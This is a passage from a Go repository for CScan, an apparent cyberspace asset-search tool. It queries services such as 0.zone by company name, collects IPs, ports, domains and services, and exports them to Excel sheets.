`json:"component"` 161 | } `json:"data"` 162 | } 163 | 164 | if err := json.Unmarshal(body, &response); err != nil { 165 | return nil, fmt.Errorf("解析响应失败: %v", err) 166 | } 167 | 168 | if response.Code != 0 { 169 | return nil, fmt.Errorf("%s", response.Message) 170 | } 171 | 172 | var results []model.Asset 173 | for _, item := range response.Data { 174 | asset := model.Asset{Source: "0.zone"} 175 | 176 | switch queryType { 177 | case "site": 178 | asset.IP = item.IP 179 | asset.Port = item.Port 180 | asset.Service = item.Service 181 | if item.Component != "" { 182 | if asset.Service != "" { 183 | asset.Service += "/" 184 | } 185 | asset.Service += item.Component 186 | } 187 | asset.Title = item.Title 188 | if item.URL != "" { 189 | if u, err := url.Parse(item.URL); err == nil { 190 | asset.Domain = u.Hostname() 191 | } 192 | } 193 | asset.Location = formatLocation(item.Country, item.Province, item.City) 194 | 195 | case "domain", "org": 196 | // 处理 domain 字段 197 | if item.Domain != nil { 198 | switch d := item.Domain.(type) { 199 | case string: 200 | asset.Domain = d 201 | case []interface{}: 202 | if len(d) > 0 { 203 | if str, ok := d[0].(string); ok { 204 | asset.Domain = str 205 | } 206 | } 207 | } 208 | } 209 | 210 | // 处理 company 字段 211 | if item.Company != nil { 212 | switch c := item.Company.(type) { 213 | case string: 214 | asset.ICPOrg = c 215 | case []interface{}: 216 | if len(c) > 0 { 217 | if str, ok := c[0].(string); ok { 218 | asset.ICPOrg = str 219 | } 220 | } 221 | } 222 | } 223 | asset.Location = formatLocation(item.Country, item.Province, item.City) 224 | } 225 | 226 | if isValidAsset(asset, queryType) { 227 | results = append(results, asset) 228 | } 229 | } 230 | 231 | return results, nil 232 | } 233 | 234 | // formatLocation 格式化位置信息 235 | func formatLocation(country, province, city string) string { 236 | var parts []string 237 | for _, part := range []string{country, province, city} { 238 | if part != "" { 239 | parts = append(parts, part) 240 | } 241 | } 242 | return strings.Join(parts, "/") 243 | } 244 | 245 | // isValidAsset 检查资产是否有效 246 | func isValidAsset(asset model.Asset, queryType string) bool { 247 | switch queryType { 248 | case "site": 249 | return asset.IP != "" || asset.Domain != "" || asset.Port != "" 250 | case "domain": 251 | return asset.Domain != "" 252 | case "org": 253 | return asset.ICPOrg != "" 254 | default: 255 | return true 256 | } 257 | } 258 | 259 | // SaveResults 将结果保存到Excel文件的不同sheet中 260 | func (s *Scanner) SaveResults(results map[string][]model.Asset, filename string) error { 261 | f := excelize.NewFile() 262 | 263 | // 删除默认的Sheet1 264 | f.DeleteSheet("Sheet1") 265 | 266 | // 确保所有支持的类型都有对应的sheet 267 | for searchType := range searchTypes { 268 | // 创建新的sheet 269 | sheetName := strings.ToUpper(searchType) 270 | _, err := f.NewSheet(sheetName) 271 | if err != nil { 272 | return fmt.Errorf("创建sheet失败: %v", err) 273 | } 274 | 275 | // 写入表头 276 | headers := searchTypes[searchType] 277 | for i, header := range headers { 278 | cell := fmt.Sprintf("%c1", 'A'+i) 279 | f.SetCellValue(sheetName, cell, header) 280 | } 281 | 282 | // 获取当前类型的资产 283 | assets := results[searchType] 284 | 285 | // 如果没有数据,添加说明行 286 | if len(assets) == 0 { 287 | cell := "A2" 288 | message := "当前API Key无此类型数据访问权限或未找到相关数据" 289 | f.SetCellValue(sheetName, cell, message) 290 | f.MergeCell(sheetName, cell, fmt.Sprintf("%c2", 'A'+len(headers)-1)) 291 | } else { 292 | // 写入数据 293 | for i, asset := range assets { 294 | row := i + 2 295 | data := s.formatAssetData(asset, searchType) 296 | for j, value := range data { 297 | cell := fmt.Sprintf("%c%d", 'A'+j, row) 298 | f.SetCellValue(sheetName, cell, value) 299 | } 300 | } 301 | } 302 | 303 | // 设置自动筛选 304 | lastCol := string('A' + len(headers) - 1) 305 | lastRow := max(len(assets)+1, 2) 306 | f.AutoFilter(sheetName, fmt.Sprintf("A1:%s%d", lastCol, lastRow), nil) 307 | 308 | // 冻结首行 309 | f.SetPanes(sheetName, &excelize.Panes{ 310 | Freeze: true, 311 | Split: false, 312 | XSplit: 0, 313 | YSplit: 1, 314 | TopLeftCell: "A2", 315 | ActivePane: "bottomLeft", 316 | }) 317 | 318 | // 调整列宽 319 | for i := range headers { 320 | col := string('A' + i) 321 | f.SetColWidth(sheetName, col, col, 20) 322 | } 323 | } 324 | 325 | // 保存文件 326 | return f.SaveAs(filename) 327 | } 328 | 329 | // max 返回两个整数中的较大值 330 | func max(a, b int) int { 331 | if a > b { 332 | return a 333 | } 334 | return b 335 | } 336 | 337 | // formatAssetData 根据不同类型格式化资产数据 338 | func (s *Scanner) formatAssetData(asset model.Asset, searchType string) []string { 339 | switch searchType { 340 | case "site": 341 | return []string{ 342 | asset.IP, 343 | asset.Domain, 344 | asset.Port, 345 | asset.Service, 346 | asset.Title, 347 | asset.StatusCode, 348 | asset.Location, 349 | asset.ICPOrg, 350 | asset.UpdatedAt, 351 | } 352 | case "domain": 353 | return []string{ 354 | asset.Domain, 355 | asset.Registrar, 356 | asset.RegisterTime, 357 | asset.ExpireTime, 358 | asset.Status, 359 | asset.ICPOrg, 360 | asset.UpdatedAt, 361 | } 362 | // ... 其他类型的格式化逻辑 363 | default: 364 | return []string{asset.Title, asset.Service} 365 | } 366 | } 367 | 368 | // Search 执行搜索 369 | func (s *Scanner) Search(query string, queryType string, page, size int) ([]model.Asset, error) { 370 | var allAssets []model.Asset 371 | currentPage := page 372 | 373 | // 添加API限制说明 374 | const maxResults = 100 // 0.zone API限制单次最多返回100条记录 375 | 376 | for { 377 | // 构造请求数据 378 | data := map[string]interface{}{ 379 | "query": query, 380 | "query_type": queryType, 381 | "page": currentPage, 382 | "pagesize": size, 383 | "zone_key_id": s.key, 384 | } 385 | 386 | // 发送POST请求 387 | jsonData, err := json.Marshal(data) 388 | if err != nil { 389 | return nil, fmt.Errorf("JSON编码失败: %v", err) 390 | } 391 | 392 | // 创建请求 393 | req, err := http.NewRequest("POST", "https://0.zone/api/data/", bytes.NewBuffer(jsonData)) 394 | if err != nil { 395 | return nil, fmt.Errorf("创建请求失败: %v", err) 396 | } 397 | 398 | // 设置请求头 399 | req.Header.Set("Host", "0.zone") 400 | req.Header.Set("Content-Type", "application/json") 401 | req.Header.Set("Content-Length", fmt.Sprintf("%d", len(jsonData))) 402 | 403 | resp, err := s.client.Do(req) 404 | if err != nil { 405 | return nil, fmt.Errorf("请求失败: %v", err) 406 | } 407 | defer resp.Body.Close() 408 | 409 | // 解析响应 410 | var response struct { 411 | Code int `json:"code"` 412 | Message string `json:"message"` 413 | Total string `json:"total"` // 注意这里改为 string 414 | Page int `json:"page"` 415 | Pagesize int `json:"pagesize"` 416 | Data []struct { 417 | IP string `json:"ip"` 418 | Port string `json:"port"` 419 | Service string `json:"service"` 420 | Title string `json:"title"` 421 | URL string `json:"url"` 422 | Domain interface{} `json:"domain"` 423 | Company interface{} `json:"company"` 424 | Country string `json:"country"` 425 | Province string `json:"province"` 426 | City string `json:"city"` 427 | Platform string `json:"platform"` 428 | Component string `json:"component"` 429 | } `json:"data"` 430 | } 431 | 432 | if err := json.NewDecoder(resp.Body).Decode(&response); err != nil { 433 | return nil, fmt.Errorf("解析响应失败: %v", err) 434 | } 435 | 436 | if response.Code != 0 { 437 | return nil, fmt.Errorf("API错误: %s", response.Message) 438 | } 439 | 440 | // 处理总页数和总记录数 441 | total, _ := strconv.Atoi(response.Total) 442 | if total == 0 { 443 | break 444 | } 445 | totalPages := (total + size - 1) / size 446 | 447 | fmt.Printf("正在获取第 %d/%d 页数据,总记录数: %d (API限制最多返回%d条)\n", 448 | currentPage, totalPages, total, maxResults) 449 | 450 | // 转换结果 451 | for _, item := range response.Data { 452 | asset := model.Asset{ 453 | IP: item.IP, 454 | Port: item.Port, 455 | Service: item.Service, 456 | Title: item.Title, 457 | Source: "Zone", 458 | } 459 | 460 | // 处理 URL 和域名 461 | if item.URL != "" { 462 | if u, err := url.Parse(item.URL); err == nil { 463 | asset.Domain = u.Hostname() 464 | } 465 | } 466 | 467 | // 处理组件信息 468 | if item.Component != "" { 469 | if asset.Service != "" { 470 | asset.Service += "/" 471 | } 472 | asset.Service += item.Component 473 | } 474 | 475 | // 处理位置信息 476 | asset.Location = formatLocation(item.Country, item.Province, item.City) 477 | 478 | allAssets = append(allAssets, asset) 479 | } 480 | 481 | // 检查是否需要继续获取下一页 482 | if currentPage >= totalPages { 483 | break 484 | } 485 | currentPage++ 486 | 487 | // 添加延时,避免请求过快 488 | time.Sleep(time.Second) 489 | 490 | // 检查是否达到API限制 491 | if len(allAssets) >= maxResults { 492 | fmt.Printf("已达到API返回上限(%d条记录)\n", maxResults) 493 | break 494 | } 495 | } 496 | 497 | fmt.Printf("共获取到 %d 条记录\n", len(allAssets)) 498 | return allAssets, nil 499 | } 500 | 501 | // buildQuery 构建查询语句 502 | func buildQuery(company string) string { 503 | // 构建完整的查询条件,确保每个值都用引号包围 504 | conditions := []string{ 505 | fmt.Sprintf(`company=="%s"`, company), 506 | fmt.Sprintf(`title=="%s"`, company), 507 | fmt.Sprintf(`banner=="%s"`, company), 508 | fmt.Sprintf(`html_banner=="%s"`, company), 509 | fmt.Sprintf(`component=="%s"`, company), 510 | fmt.Sprintf(`ssl_info.detail=="%s"`, company), 511 | } 512 | return strings.Join(conditions, "||") 513 | } 514 | 515 | // SearchCompany 搜索公司信息 516 | func (s *Scanner) SearchCompany(company string, maxPage, pageSize int) ([]model.Asset, error) { 517 | fmt.Printf("正在搜索公司: %s\n", company) 518 | 519 | var allAssets []model.Asset 520 | 521 | // 构建查询语句 522 | query := buildQuery(company) 523 | assets, err := s.Search(query, "site", 1, pageSize) 524 | if err != nil { 525 | fmt.Printf("- site搜索失败: %v\n", err) 526 | } else { 527 | fmt.Printf("- 找到%d个site资产\n", len(assets)) 528 | allAssets = append(allAssets, assets...) 529 | } 530 | 531 | return allAssets, nil 532 | } 533 | -------------------------------------------------------------------------------- /internal/common/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strongamazon/CScan/9ce447091a58798084d6b3dc0e0d2ae8d38d2435/internal/common/.DS_Store -------------------------------------------------------------------------------- /internal/common/banner/banner.go: -------------------------------------------------------------------------------- 1 | package banner 2 | 3 | import "fmt" 4 | 5 | const banner = ` 6 | ___ ___ 7 | / ___/ / ___/ _____ ____ _ ____ 8 | / / \__ \ / ___// __ '// __ \ 9 | / /___ ___/ // /__ / /_/ // / / / 10 | \ __ / / __ / \___/ \__,_//_/ /_/ v1.0.1 11 | 12 | CScan - 网络空间资产搜索工具 By T3nk0 [Tools.com专版] 13 | =========================================== 14 | ` 15 | 16 | // PrintBanner 打印程序 banner 17 | func PrintBanner() { 18 | fmt.Println(banner) 19 | } 20 | -------------------------------------------------------------------------------- /internal/common/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "os" 7 | "path/filepath" 8 | ) 9 | 10 | type Config struct { 11 | HunterAPIKey string `json:"hunter_api_key"` 12 | FofaEmail string `json:"fofa_email"` 13 | FofaAPIKey string `json:"fofa_api_key"` 14 | ZoneAPIKey string `json:"zone_api_key"` 15 | QuakeAPIKey string `json:"quake_api_key"` 16 | MaxPage int `json:"max_page"` 17 | PageSize int `json:"page_size"` 18 | } 19 | 20 | // 默认配置 21 | var defaultConfig = Config{ 22 | HunterAPIKey: "your-hunter-key", 23 | FofaEmail: "your-fofa-email", 24 | FofaAPIKey: "your-fofa-key", 25 | ZoneAPIKey: "your-zone-key", 26 | QuakeAPIKey: "your-quake-key", 27 | MaxPage: 5, 28 | PageSize: 100, 29 | } 30 | 31 | // Load 加载配置文件,如果文件不存在则创建默认配置 32 | func Load(path string) (*Config, error) { 33 | // 确保配置目录存在 34 | dir := filepath.Dir(path) 35 | if err := os.MkdirAll(dir, 0755); err != nil { 36 | return nil, fmt.Errorf("创建配置目录失败: %v", err) 37 | } 38 | 39 | // 检查配置文件是否存在 40 | if _, err := os.Stat(path); os.IsNotExist(err) { 41 | // 创建默认配置文件 42 | if err := createDefaultConfig(path); err != nil { 43 | return nil, fmt.Errorf("创建默认配置文件失败: %v", err) 44 | } 45 | fmt.Printf("已创建默认配置文件: %s\n", path) 46 | fmt.Println("请修改配置文件中的API密钥后再运行程序") 47 | os.Exit(0) 48 | } 49 | 50 | // 读取配置文件 51 | data, err := os.ReadFile(path) 52 | if err != nil { 53 | return nil, fmt.Errorf("读取配置文件失败: %v", err) 54 | } 55 | 56 | var config Config 57 | if err := json.Unmarshal(data, &config); err != nil { 58 | return nil, fmt.Errorf("解析配置文件失败: %v", err) 59 | } 60 | 61 | // 验证配置 62 | if err := validateConfig(&config); err != nil { 63 | return nil, err 64 | } 65 | 66 | return &config, nil 67 | } 68 | 69 | // createDefaultConfig 创建默认配置文件 70 | func createDefaultConfig(path string) error { 71 | data, err := json.MarshalIndent(defaultConfig, "", " ") 72 | if err != nil { 73 | return err 74 | } 75 | return os.WriteFile(path, data, 0644) 76 | } 77 | 78 | // validateConfig 验证配置是否有效 79 | func validateConfig(cfg *Config) error { 80 | if cfg.MaxPage <= 0 { 81 | return fmt.Errorf("max_page 必须大于 0") 82 | } 83 | if cfg.PageSize <= 0 { 84 | return fmt.Errorf("page_size 必须大于 0") 85 | } 86 | 87 | // 检查是否使用了默认值 88 | if cfg.HunterAPIKey == defaultConfig.HunterAPIKey || 89 | cfg.FofaEmail == defaultConfig.FofaEmail || 90 | cfg.FofaAPIKey == defaultConfig.FofaAPIKey || 91 | cfg.ZoneAPIKey == defaultConfig.ZoneAPIKey || 92 | cfg.QuakeAPIKey == defaultConfig.QuakeAPIKey { 93 | return fmt.Errorf("请修改配置文件中的默认API密钥") 94 | } 95 | 96 | return nil 97 | } 98 | 99 | // LoadOrCreate 合并 Load 和配置文件创建逻辑 100 | func LoadOrCreate(path string) (*Config, error) { 101 | if _, err := os.Stat(path); os.IsNotExist(err) { 102 | if err := createDefaultConfig(path); err != nil { 103 | return nil, fmt.Errorf("创建配置文件失败: %v", err) 104 | } 105 | fmt.Printf("已创建默认配置文件: %s\n", path) 106 | fmt.Println("请修改配置文件中的API密钥后再运行程序") 107 | os.Exit(0) 108 | } 109 | 110 | return Load(path) 111 | } 112 | 113 | // Save 保存配置到文件 114 | func Save(filename string, cfg *Config) error { 115 | data, err := json.MarshalIndent(cfg, "", " ") 116 | if err != nil { 117 | return fmt.Errorf("序列化配置失败: %v", err) 118 | } 119 | 120 | // 使用安全的文件权限 121 | err = os.WriteFile(filename, data, 0600) 122 | if err != nil { 123 | return fmt.Errorf("写入配置文件失败: %v", err) 124 | } 125 | 126 | return nil 127 | } 128 | -------------------------------------------------------------------------------- /internal/common/errors/errors.go: -------------------------------------------------------------------------------- 1 | package errors 2 | 3 | import "fmt" 4 | 5 | // 定义错误类型 6 | type Error struct { 7 | Code int 8 | Message string 9 | } 10 | 11 | func (e *Error) Error() string { 12 | return fmt.Sprintf("[%d] %s", e.Code, e.Message) 13 | } 14 | 15 | // 预定义错误 16 | var ( 17 | ErrInvalidConfig = &Error{1001, "无效的配置"} 18 | ErrInvalidInput = &Error{1002, "无效的输入"} 19 | ErrAPIRequest = &Error{2001, "API请求失败"} 20 | ) 21 | -------------------------------------------------------------------------------- /internal/common/excel/excel.go: -------------------------------------------------------------------------------- 1 | package excel 2 | 3 | import ( 4 | "bufio" 5 | "cscan/internal/common/model" 6 | "cscan/internal/cse" 7 | "fmt" 8 | "os" 9 | "regexp" 10 | "strconv" 11 | "strings" 12 | "unicode" 13 | 14 | "github.com/xuri/excelize/v2" 15 | ) 16 | 17 | // 添加错误常量 18 | const ( 19 | ErrInvalidFormat = "无效的文件格式" 20 | ErrEmptyFile = "文件为空" 21 | ) 22 | 23 | // ReadTargets 从文本文件读取目标 24 | func ReadTargets(filename string) ([]cse.Target, error) { 25 | if !strings.HasSuffix(filename, ".txt") { 26 | return nil, fmt.Errorf(ErrInvalidFormat) 27 | } 28 | 29 | content, err := os.ReadFile(filename) 30 | if err != nil { 31 | return nil, err 32 | } 33 | 34 | if len(content) == 0 { 35 | return nil, fmt.Errorf(ErrEmptyFile) 36 | } 37 | 38 | // 用于去重的map 39 | seen := make(map[string]bool) 40 | var targets []cse.Target 41 | 42 | scanner := bufio.NewScanner(strings.NewReader(string(content))) 43 | lineNum := 0 44 | for scanner.Scan() { 45 | lineNum++ 46 | line := strings.TrimSpace(scanner.Text()) 47 | if line == "" || line[0] == '#' { // 跳过空行和注释 48 | continue 49 | } 50 | 51 | // 处理每一行内容 52 | cellTargets := parseTargets(line) 53 | for _, target := range cellTargets { 54 | if !seen[target.Value] { 55 | seen[target.Value] = true 56 | targets = append(targets, target) 57 | fmt.Printf("添加唯一目标: %s (%s)\n", target.Value, target.Type) 58 | } 59 | } 60 | } 61 | 62 | if err := scanner.Err(); err != nil { 63 | return nil, fmt.Errorf("读取文件失败: %v", err) 64 | } 65 | 66 | if len(targets) == 0 { 67 | fmt.Println("警告: 未找到任何有效目标,请确保target.txt文件存在且包含有效内容") 68 | } else { 69 | fmt.Printf("共读取到 %d 个唯一目标\n", len(targets)) 70 | } 71 | return targets, nil 72 | } 73 | 74 | // ReadCompanies 从文本文件读取公司名称 75 | func ReadCompanies(filename string) ([]string, error) { 76 | // 读取文件内容 77 | file, err := os.Open(filename) 78 | if err != nil { 79 | return nil, fmt.Errorf("打开文件失败: %v", err) 80 | } 81 | defer file.Close() 82 | 83 | var companies []string 84 | seen := make(map[string]bool) 85 | 86 | scanner := bufio.NewScanner(file) 87 | for scanner.Scan() { 88 | company := strings.TrimSpace(scanner.Text()) 89 | // 跳过空行、注释和明显不是公司名的内容 90 | if company == "" || company[0] == '#' || strings.Contains(company, "PK") || strings.Contains(company, ".xml") { 91 | continue 92 | } 93 | 94 | // 基本的公司名称验证 95 | if isValidCompanyName(company) { 96 | if !seen[company] { 97 | seen[company] = true 98 | companies = append(companies, company) 99 | fmt.Printf("添加公司: %s\n", company) 100 | } 101 | } 102 | } 103 | 104 | if err := scanner.Err(); err != nil { 105 | return nil, fmt.Errorf("读取文件失败: %v", err) 106 | } 107 | 108 | if len(companies) == 0 { 109 | fmt.Println("警告: 未找到任何有效公司名称,请确保target.txt文件存在且包含有效内容") 110 | } else { 111 | fmt.Printf("共读取到 %d 个公司\n", len(companies)) 112 | } 113 | return companies, nil 114 | } 115 | 116 | // isValidCompanyName 验证公司名称的有效性 117 | func isValidCompanyName(name string) bool { 118 | // 跳过明显的非公司名内容 119 | invalidPatterns := []string{ 120 | "PK", 121 | ".xml", 122 | "", 127 | "@", 128 | "http", 129 | ".com", 130 | ".cn", 131 | ".jp", 132 | ".org", 133 | ".net", 134 | } 135 | 136 | for _, pattern := range invalidPatterns { 137 | if strings.Contains(name, pattern) { 138 | return false 139 | } 140 | } 141 | 142 | // 公司名称的基本验证规则 143 | // 1. 长度至少2个字符 144 | if len(name) < 2 { 145 | return false 146 | } 147 | 148 | // 2. 不能只包含数字和符号 149 | hasLetter := false 150 | for _, r := range name { 151 | if unicode.IsLetter(r) { 152 | hasLetter = true 153 | break 154 | } 155 | } 156 | if !hasLetter { 157 | return false 158 | } 159 | 160 | // 3. 常见的公司名称后缀 161 | companySuffixes := []string{ 162 | "公司", 163 | "集团", 164 | "有限", 165 | "股份", 166 | "企业", 167 | "工厂", 168 | "厂", 169 | "Corporation", 170 | "Corp", 171 | "Inc", 172 | "Ltd", 173 | "Limited", 174 | "LLC", 175 | "Co", 176 | } 177 | 178 | // 检查是否包含常见的公司名称后缀 179 | for _, suffix := range companySuffixes { 180 | if strings.Contains(name, suffix) { 181 | return true 182 | } 183 | } 184 | 185 | // 如果没有明显的公司后缀,但看起来像是中文名称(包含至少2个汉字) 186 | chineseCount := 0 187 | for _, r := range name { 188 | if unicode.Is(unicode.Han, r) { 189 | chineseCount++ 190 | } 191 | } 192 | return chineseCount >= 2 193 | } 194 | 195 | // normalizeDomain 规范化域名,只保留合适的层级 196 | func normalizeDomain(domain string) string { 197 | // 分割域名 198 | parts := strings.Split(domain, ".") 199 | if len(parts) <= 2 { 200 | return domain // 如果只有两级或更少,直接返回 201 | } 202 | 203 | // 处理特殊的二级域名后缀 204 | specialTLDs := map[string]bool{ 205 | "com.cn": true, 206 | "org.cn": true, 207 | "net.cn": true, 208 | "gov.cn": true, 209 | "edu.cn": true, 210 | "co.jp": true, 211 | "co.uk": true, 212 | // 可以根据需要添加更多 213 | } 214 | 215 | // 检查是否有特殊的二级域名后缀 216 | lastTwo := strings.Join(parts[len(parts)-2:], ".") 217 | if specialTLDs[lastTwo] { 218 | if len(parts) > 3 { 219 | // 返回倒数第三级 + 特殊后缀 220 | return strings.Join(parts[len(parts)-3:], ".") 221 | } 222 | return domain 223 | } 224 | 225 | // 普通域名,返回倒数第二级 + 顶级域名 226 | if len(parts) > 2 { 227 | return strings.Join(parts[len(parts)-2:], ".") 228 | } 229 | return domain 230 | } 231 | 232 | // parseTargets 解析内容,返回所有有效的目标 233 | func parseTargets(content string) []cse.Target { 234 | var targets []cse.Target 235 | 236 | // 处理所有可能的分隔符,包括换行符 237 | parts := strings.FieldsFunc(content, func(r rune) bool { 238 | return r == ',' || r == ',' || r == ';' || r == ';' || r == ' ' || r == '\t' || r == '\n' 239 | }) 240 | 241 | for _, part := range parts { 242 | part = strings.TrimSpace(part) 243 | if part == "" { 244 | continue 245 | } 246 | 247 | // 处理可能的URL格式 248 | part = cleanURL(part) 249 | 250 | // 尝试提取IP地址 251 | if isValidIP(part) { 252 | targets = append(targets, cse.Target{ 253 | Value: part, 254 | Type: "ip", 255 | }) 256 | continue 257 | } 258 | 259 | // 尝试提取域名 260 | if isDomain(part) { 261 | // 规范化域名 262 | normalizedDomain := normalizeDomain(part) 263 | // 检查是否已经添加过这个域名 264 | exists := false 265 | for _, t := range targets { 266 | if t.Type == "domain" && t.Value == normalizedDomain { 267 | exists = true 268 | break 269 | } 270 | } 271 | if !exists { 272 | targets = append(targets, cse.Target{ 273 | Value: normalizedDomain, 274 | Type: "domain", 275 | }) 276 | } 277 | } 278 | } 279 | 280 | return targets 281 | } 282 | 283 | // cleanURL 清理URL,提取域名部分 284 | func cleanURL(url string) string { 285 | // 移除协议前缀 286 | url = strings.TrimPrefix(url, "http://") 287 | url = strings.TrimPrefix(url, "https://") 288 | url = strings.TrimPrefix(url, "www.") 289 | 290 | // 如果包含路径,只保留域名部分 291 | if idx := strings.Index(url, "/"); idx != -1 { 292 | url = url[0:idx] 293 | } 294 | 295 | return url 296 | } 297 | 298 | // isValidIP 验证IP地址的有效性 299 | func isValidIP(ip string) bool { 300 | parts := strings.Split(ip, ".") 301 | if len(parts) != 4 { 302 | return false 303 | } 304 | for _, part := range parts { 305 | num, err := strconv.Atoi(part) 306 | if err != nil || num < 0 || num > 255 { 307 | return false 308 | } 309 | } 310 | return true 311 | } 312 | 313 | // isDomain 验证域名的有效性 314 | func isDomain(domain string) bool { 315 | // 域名的基本验证规则 316 | domainPattern := `^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$` 317 | matched, _ := regexp.MatchString(domainPattern, domain) 318 | 319 | // 额外检查常见的无效域名情况 320 | if !matched { 321 | return false 322 | } 323 | 324 | // 确保不是IP地址格式 325 | if isValidIP(domain) { 326 | return false 327 | } 328 | 329 | // 检查是否包含有效的顶级域名 330 | parts := strings.Split(domain, ".") 331 | if len(parts) < 2 { 332 | return false 333 | } 334 | 335 | // 检查顶级域名是否合法 336 | tld := parts[len(parts)-1] 337 | validTLDs := map[string]bool{ 338 | "com": true, "net": true, "org": true, "edu": true, "gov": true, 339 | "cn": true, "jp": true, "uk": true, "ru": true, "de": true, 340 | "fr": true, "br": true, "in": true, "au": true, "info": true, 341 | "biz": true, "io": true, "co": true, "me": true, "tv": true, 342 | // 可以根据需要添加更多有效的顶级域名 343 | } 344 | 345 | return validTLDs[tld] 346 | } 347 | 348 | // SaveResults 将结果保存到Excel文件,并进行去重和添加筛选功能 349 | func SaveResults(results []model.Asset, filename string) error { 350 | f := excelize.NewFile() 351 | defer f.Close() 352 | 353 | // 设置表头 354 | headers := []string{"IP", "域名", "端口", "服务", "标题", "状态码", "ICP主体", "地理位置", "来源"} 355 | for i, header := range headers { 356 | cell := fmt.Sprintf("%c1", 'A'+i) 357 | f.SetCellValue("Sheet1", cell, header) 358 | } 359 | 360 | // 去重处理 361 | uniqueResults := deduplicateAssets(results) 362 | fmt.Printf("去重前: %d 条记录, 去重后: %d 条记录\n", len(results), len(uniqueResults)) 363 | 364 | // 写入数据 365 | for i, asset := range uniqueResults { 366 | row := i + 2 367 | f.SetCellValue("Sheet1", fmt.Sprintf("A%d", row), asset.IP) 368 | f.SetCellValue("Sheet1", fmt.Sprintf("B%d", row), asset.Domain) 369 | f.SetCellValue("Sheet1", fmt.Sprintf("C%d", row), asset.Port) 370 | f.SetCellValue("Sheet1", fmt.Sprintf("D%d", row), asset.Service) 371 | f.SetCellValue("Sheet1", fmt.Sprintf("E%d", row), asset.Title) 372 | f.SetCellValue("Sheet1", fmt.Sprintf("F%d", row), asset.StatusCode) 373 | f.SetCellValue("Sheet1", fmt.Sprintf("G%d", row), asset.ICPOrg) 374 | f.SetCellValue("Sheet1", fmt.Sprintf("H%d", row), asset.Location) 375 | f.SetCellValue("Sheet1", fmt.Sprintf("I%d", row), asset.Source) 376 | } 377 | 378 | // 添加筛选功能 379 | lastRow := len(uniqueResults) + 1 380 | if lastRow < 2 { 381 | lastRow = 2 // 确保至少有一行数据 382 | } 383 | 384 | // 设置自动筛选 385 | if err := f.AutoFilter("Sheet1", fmt.Sprintf("A1:I%d", lastRow), []excelize.AutoFilterOptions{}); err != nil { 386 | return fmt.Errorf("设置筛选失败: %v", err) 387 | } 388 | 389 | // 调整列宽以适应内容 390 | for i := 0; i < len(headers); i++ { 391 | col := string('A' + i) 392 | if err := f.SetColWidth("Sheet1", col, col, 20); err != nil { 393 | fmt.Printf("设置列宽失败 %s: %v\n", col, err) 394 | } 395 | } 396 | 397 | // 冻结首行 398 | if err := f.SetPanes("Sheet1", &excelize.Panes{ 399 | Freeze: true, 400 | Split: false, 401 | XSplit: 0, 402 | YSplit: 1, 403 | TopLeftCell: "A2", 404 | ActivePane: "bottomLeft", 405 | }); err != nil { 406 | fmt.Printf("冻结首行失败: %v\n", err) 407 | } 408 | 409 | // 保存文件 410 | return f.SaveAs(filename) 411 | } 412 | 413 | // deduplicateAssets 对资产进行去重 414 | func deduplicateAssets(assets []model.Asset) []model.Asset { 415 | seen := make(map[string]bool) 416 | var result []model.Asset 417 | 418 | for _, asset := range assets { 419 | // 生成唯一标识 420 | key := generateAssetKey(asset) 421 | if !seen[key] { 422 | seen[key] = true 423 | result = append(result, asset) 424 | } 425 | } 426 | 427 | return result 428 | } 429 | 430 | // generateAssetKey 生成资产的唯一标识 431 | func generateAssetKey(asset model.Asset) string { 432 | // 如果有IP和端口,使用"IP:端口"作为key 433 | if asset.IP != "" && asset.Port != "" { 434 | return fmt.Sprintf("%s:%s", asset.IP, asset.Port) 435 | } 436 | // 如果有域名,使用域名作为key 437 | if asset.Domain != "" { 438 | return asset.Domain 439 | } 440 | // 如果都没有,使用所有非空字段组合 441 | parts := []string{ 442 | asset.IP, 443 | asset.Domain, 444 | asset.Port, 445 | asset.Service, 446 | asset.Title, 447 | asset.StatusCode, 448 | asset.ICPOrg, 449 | asset.Location, 450 | } 451 | var nonEmpty []string 452 | for _, part := range parts { 453 | if part != "" { 454 | nonEmpty = append(nonEmpty, part) 455 | } 456 | } 457 | return strings.Join(nonEmpty, "|") 458 | } 459 | -------------------------------------------------------------------------------- /internal/common/logger/logger.go: -------------------------------------------------------------------------------- 1 | package logger 2 | 3 | import ( 4 | "fmt" 5 | "time" 6 | ) 7 | 8 | func Info(format string, args ...interface{}) { 9 | log("[INFO] "+format, args...) 10 | } 11 | 12 | func Error(format string, args ...interface{}) { 13 | log("[ERROR] "+format, args...) 14 | } 15 | 16 | func log(format string, args ...interface{}) { 17 | prefix := time.Now().Format("2006-01-02 15:04:05") 18 | fmt.Printf(prefix+" "+format+"\n", args...) 19 | } 20 | -------------------------------------------------------------------------------- /internal/common/model/asset.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | // Asset 表示一个资产记录 4 | type Asset struct { 5 | IP string 6 | Domain string 7 | Port string 8 | Service string 9 | Title string 10 | StatusCode string 11 | ICPOrg string 12 | Location string 13 | Source string 14 | UpdatedAt string 15 | Registrar string 16 | RegisterTime string 17 | ExpireTime string 18 | Status string 19 | Package string 20 | Version string 21 | Platform string 22 | Size string 23 | Developer string 24 | Category string 25 | Language string 26 | Department string 27 | Position string 28 | } 29 | -------------------------------------------------------------------------------- /internal/cse/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strongamazon/CScan/9ce447091a58798084d6b3dc0e0d2ae8d38d2435/internal/cse/.DS_Store -------------------------------------------------------------------------------- /internal/cse/cse.go: -------------------------------------------------------------------------------- 1 | package cse 2 | 3 | import ( 4 | "cscan/internal/common/model" 5 | "fmt" 6 | "math/rand" 7 | "strings" 8 | "sync" 9 | "time" 10 | ) 11 | 12 | type Target struct { 13 | Value string 14 | Type string // "ip" 或 "domain" 15 | } 16 | 17 | // Scanner 定义了网络空间搜索引擎的通用接口 18 | type Scanner interface { 19 | // Name 返回扫描器名称 20 | Name() string 21 | 22 | // Search 执行搜索并返回资产列表 23 | Search(query string, page, size int) ([]model.Asset, error) 24 | } 25 | 26 | // 定义各平台的 API 调用间隔 27 | const ( 28 | DefaultInterval = 2 * time.Second // 默认间隔改为2秒 29 | ZoneInterval = 2 * time.Second // 0.zone 保持2秒 30 | MaxRetryWait = 60 * time.Second // 最大重试等待时间 31 | ) 32 | 33 | // 